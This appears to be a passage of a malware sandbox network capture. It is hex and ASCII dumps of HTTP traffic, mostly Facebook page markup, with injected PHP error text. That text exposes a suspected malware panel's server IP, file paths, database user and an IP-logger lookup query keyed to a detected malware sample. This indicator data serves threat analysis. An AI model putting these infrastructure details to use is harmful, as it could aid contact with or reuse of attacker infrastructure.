2022-09-09 16:00:39 UTC	292	IN	Data Raw: 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 36 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 54 75 72 6b 69 73 68 22 3e 54 c3 bc 72 6b c3 a7 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 72 74 6c 22 20 68 72 Data Ascii: \u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 6); return false;" title="Turkish">Trke</a></li><li><a class="_sv4" dir="rtl" hr
2022-09-09 16:00:39 UTC	293	IN	Data Raw: 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 61 72 5f 41 52 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 61 72 2d 61 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 Data Ascii: E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("ar_AR", "en_US", "https:\/\/ar-ar.facebook.c
2022-09-09 16:00:39 UTC	295	IN	Data Raw: 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 Data Ascii: ,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u
2022-09-09 16:00:39 UTC	296	IN	Data Raw: 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f Data Ascii: b%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/
2022-09-09 16:00:39 UTC	298	IN	Data Raw: 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 Data Ascii: 20instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u00
2022-09-09 16:00:39 UTC	299	IN	Data Raw: 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 Data Ascii: 02520from\u002520t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0
2022-09-09 16:00:39 UTC	300	IN	Data Raw: 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 Data Ascii: Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='secu
2022-09-09 16:00:39 UTC	302	IN	Data Raw: 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 Data Ascii: ty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520my
2022-09-09 16:00:39 UTC	303	IN	Data Raw: 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 35 31 37 69 20 5f 35 31 37 68 20 5f 35 31 73 79 22 20 72 65 6c 3d 22 64 69 61 6c 6f 67 22 20 61 6a 61 78 69 66 79 3d 22 2f 73 65 74 74 69 6e 67 73 2f 6c 61 6e 67 75 61 67 65 2f 6c 61 6e 67 75 61 67 65 2f 3f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 44 65 70 72 65 63 61 74 65 64 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 33 41 25 32 35 32 30 25 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 25 32 38 25 32 39 25 33 41 25 32 35 32 Data Ascii: ></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2F%253Cbr%2520%2F%253E%250A%253Cb%253EDeprecated%253C%2Fb%253E%3A%2520%2520mysql_pconnect%28%29%3A%252
2022-09-09 16:00:39 UTC	305	IN	Data Raw: 73 74 25 32 37 25 32 35 32 30 25 32 38 75 73 69 6e 67 25 32 35 32 30 70 61 73 73 77 6f 72 64 25 33 41 25 32 35 32 30 59 45 53 25 32 39 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 73 65 6c 65 63 74 25 32 35 32 30 69 70 6c 6f 67 67 65 72 25 32 35 32 30 66 72 6f 6d 25 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 35 32 30 77 68 65 72 65 25 32 35 32 30 6e 61 6d 65 25 33 44 25 32 37 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 25 32 37 25 32 35 32 30 6c 69 6d 69 74 25 32 35 32 30 30 25 32 43 31 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 73 6d 61 6c 6c 25 32 35 33 45 25 Data Ascii: st%27%2520%28using%2520password%3A%2520YES%29%253Cbr%253E%250A%253Cbr%253Eselect%2520iplogger%2520from%2520t_channels%2520where%2520name%3D%27securiteinfo.com.win32.malware-gen.30674%27%2520limit%25200%2C1%253Cbr%253E%250A%253Cbr%253E%250A%253Csmall%253E%
2022-09-09 16:00:39 UTC	306	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 63 75 6c 75 73 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 4f 63 75 6c 75 73 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 4f 63 75 6c 75 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 46 61 63 65 62 6f 6f 6b 20 50 6f 72 74 61 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 50 6f 72 74 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 Data Ascii: f="https://www.oculus.com/" title="Learn more about Oculus" target="_blank">Oculus</a></li><li><a href="https://portal.facebook.com/" title="Learn more about Facebook Portal" target="_blank">Portal</a></li><li><a href="https://l.facebook.com/l.php?u=https
2022-09-09 16:00:39 UTC	307	IN	Data Raw: 31 30 36 66 65 0d 0a 75 6e 64 72 61 69 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 62 69 7a 2f 64 69 72 65 63 74 6f 72 79 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 53 65 72 76 69 63 65 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 3c Data Ascii: 106feundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center<
2022-09-09 16:00:39 UTC	309	IN	Data Raw: 70 6f 6c 69 63 69 65 73 2e 22 3e 54 65 72 6d 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 30 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 2e 22 3e 48 65 6c 70 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 65 6c 70 2f 36 33 37 32 30 35 30 32 30 38 37 38 35 30 34 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 20 4e 6f 74 69 63 65 2e 22 3e 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 Data Ascii: policies.">Terms</a></li><li><a href="/help/?ref=pf" accesskey="0" title="Visit our Help Center.">Help</a></li><li><a href="help/637205020878504" title="Visit our Contact Uploading & Non-Users Notice.">Contact Uploading & Non-Users</a></li><li><a
2022-09-09 16:00:39 UTC	310	IN	Data Raw: 22 68 61 73 68 22 3a 22 41 54 37 62 30 74 6a 38 41 48 57 47 35 6c 54 46 4c 7a 73 22 7d 2c 22 31 32 38 31 35 30 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 50 48 5a 4d 39 67 46 6f 79 70 43 6a 51 77 57 59 22 7d 2c 22 31 32 39 31 30 32 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 31 39 4c 73 65 49 47 31 6e 77 71 33 6f 5a 58 34 22 7d 2c 22 31 32 39 34 31 38 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 56 7a 49 22 7d 2c 22 31 33 39 39 32 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 36 67 75 43 57 31 65 79 49 6b 4f 56 31 45 41 31 30 22 7d 2c 22 31 Data Ascii: "hash":"AT7b0tj8AHWG5lTFLzs"},"1281505":{"result":false,"hash":"AT4PHZM9gFoypCjQwWY"},"1291023":{"result":false,"hash":"AT519LseIG1nwq3oZX4"},"1294182":{"result":false,"hash":"AT4vd6mwrtAJouEJVzI"},"1399218":{"result":true,"hash":"AT6guCW1eyIkOV1EA10"},"1
2022-09-09 16:00:39 UTC	311	IN	Data Raw: 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 6a 7a 44 36 33 34 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 50 5c 2f 72 5c 2f 41 4a 66 52 42 69 47 59 6b 48 58 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 41 77 74 39 4c 50 62 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 69 5c 2f 72 5c 2f 4b 34 64 55 4f 37 5a 69 30 64 37 2e 6a 73 3f 5f 6e 63 5f Data Ascii: js?_nc_x=Ij3Wp8lg5Kz","nc":1},"gjzD634":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yP\/r\/AJfRBiGYkHX.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Awt9LPb":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yi\/r\/K4dUO7Zi0d7.js?_nc_
2022-09-09 16:00:39 UTC	313	IN	Data Raw: 72 5c 2f 68 49 45 65 4f 51 39 4c 37 32 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 6f 35 59 76 4f 32 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 45 53 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 49 45 48 6a 30 6c 76 4d 70 62 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 5a 30 4a 51 57 50 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 Data Ascii: r\/hIEeOQ9L72b.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/o5YvO2":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iqES4\/yr\/l\/en_US\/IEHj0lvMpb4.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"9Z0JQWP":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3
2022-09-09 16:00:39 UTC	314	IN	Data Raw: 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 68 68 59 41 6a 4c 66 6e 75 45 70 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 41 78 58 30 6a 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 72 5c 2f 72 5c 2f 4d 2d 32 34 6b 57 63 4f 74 31 61 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4f 51 76 39 57 33 4c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 Data Ascii: .net\/rsrc.php\/v3\/y5\/r\/hhYAjLfnuEp.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dAxX0jj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yr\/r\/M-24kWcOt1a.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"OQv9W3L":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/r
2022-09-09 16:00:39 UTC	316	IN	Data Raw: 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 44 30 45 42 32 34 35 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 38 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 48 58 52 30 61 55 64 7a 5a 67 48 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 33 73 58 4b 4b 6b 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4f 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c Data Ascii: s?_nc_x=Ij3Wp8lg5Kz","nc":1},"D0EB245":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y8\/l\/0,cross\/HXR0aUdzZgH.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"E3sXKKk":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yO\/l\/0,cross\
2022-09-09 16:00:39 UTC	317	IN	Data Raw: 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 48 62 75 34 5c 2f 79 53 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 48 62 63 6a 54 78 68 5a 68 62 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4d 52 32 61 7a 36 43 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4d 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 77 63 56 6e 56 76 78 70 55 55 56 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 4b 6a 73 4c 43 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 Data Ascii: \/\/static.xx.fbcdn.net\/rsrc.php\/v3iHbu4\/yS\/l\/en_US\/HbcjTxhZhb6.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"MR2az6C":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yM\/l\/0,cross\/wcVnVvxpUUV.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"EKjsLC\/":{"type":"
